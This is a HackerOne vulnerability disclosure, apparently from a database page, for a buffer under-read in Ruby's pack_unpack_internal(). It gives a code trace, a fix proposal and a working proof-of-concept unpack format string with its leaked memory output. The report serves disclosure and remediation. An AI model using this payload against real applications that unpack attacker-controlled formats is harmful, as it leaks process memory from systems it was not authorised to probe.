Lucene search

K
hackeroneAerodudrizztH1:298246
HistoryDec 15, 2017 - 12:21 p.m.

Ruby: controlled buffer under-read in pack_unpack_internal()

2017-12-1512:21:22
aerodudrizzt
hackerone.com
34

EPSS

0.004

Percentile

74.4%

Brief

There is a signedness error in the pack_unpack_internal(), allowing the ‘@’ type to trigger a buffer under-read when unpacking with a controlled format (similar to format string implementation vulnerabilities).

Code Vulnerability

Vulnerable version: 2.5.0 (rc) and prior (tested also on 2.3.3)**Scope:works on 32 bit and 64 bit versionsFile:pack.cFunction:**pack_unpack_internal()Code Trace:1. len is asigned long:

```ruby
    long len;
```
  1. len can be parsed using a decimal string representation, to hold any unsigned long value

    ...
    else if (ISDIGIT(*p)) {
        errno = 0;
    	len = STRTOUL(p, (char**)&p, 10);
        if (errno) {
    	rb_raise(rb_eRangeError, "pack length too big");
        }
    }
    ...
    
  2. Using a negative len value, the ‘@’ type will move the string backwards:

    ...
    case '@':
        // EI - Trace: negative length will pass this check
        if (len > RSTRING_LEN(str))
    	  rb_raise(rb_eArgError, "@ outside of string");
         // EI - Trace: negative length will move s backwards
        s = RSTRING_PTR(str) + len;
        break;
    ...
    
  3. Later unpacking will parse memory data before the buffer’s start

PoC Script

The script was tested on 32 bit. On 64 bit one should only adjust the numerical values accordingly (64 bit was tested on 2.3.3 and worked).

puts 'Version: ' + RUBY_VERSION
puts 2 ** 32 - 100

puts '**********************************'
puts 'Expected:'
"0123456789".unpack("C10").each { |x| puts x.to_s(16) }

puts '**********************************'
puts 'Leaked + Expected:'
"0123456789".unpack("@4294967196C110").each { |x| puts x.to_s(16) }
puts '**********************************'

Output:

Version: 2.5.0
4294967196
**********************************
Expected:
30
31
32
33
34
35
36
37
38
39
**********************************
Leaked + Expected:
28
13
e2
1
c1
24
0
0
40
43
df
1
65
48
92
20
3c
7e
df
1
72
65
6d
61
69
6e
64
65
72
0
0
0
7a
60
1
0
30
1
f5
1
50
c5
ef
1
7f
a3
0
0
30
1
f5
1
7a
60
5
0
40
43
df
1
8
13
e2
1
b1
24
0
0
40
43
df
1
65
88
91
20
3c
7e
df
1
6d
6f
64
75
6c
6f
0
0
0
0
0
0
5
80
52
0
3c
7e
df
1
30
31
32
33
34
35
36
37
38
39
**********************************

Proposed Fix:

len should be limited to hold only positive values, and it should be enforced right after len is parsed. A different fix could be to specifically check if len is negative in all dangerous places in the unpack() function.

Impact

Impact

An attacker controlling the unpacking format (similar to format string vulnerabilities) can trigger a massive and controlled information disclosure. Since Ruby is a managed language, programmers assume that the library would catch such dangerous code samples and protect them from these types of attacks.

This vulnerability is similar to the implementation vulnerability that was found earlier this year (2017) in the format string (sprintf) module, and in both cases programmers that use an attacker controlled format can be harmed due to an implementation bug in the ruby module.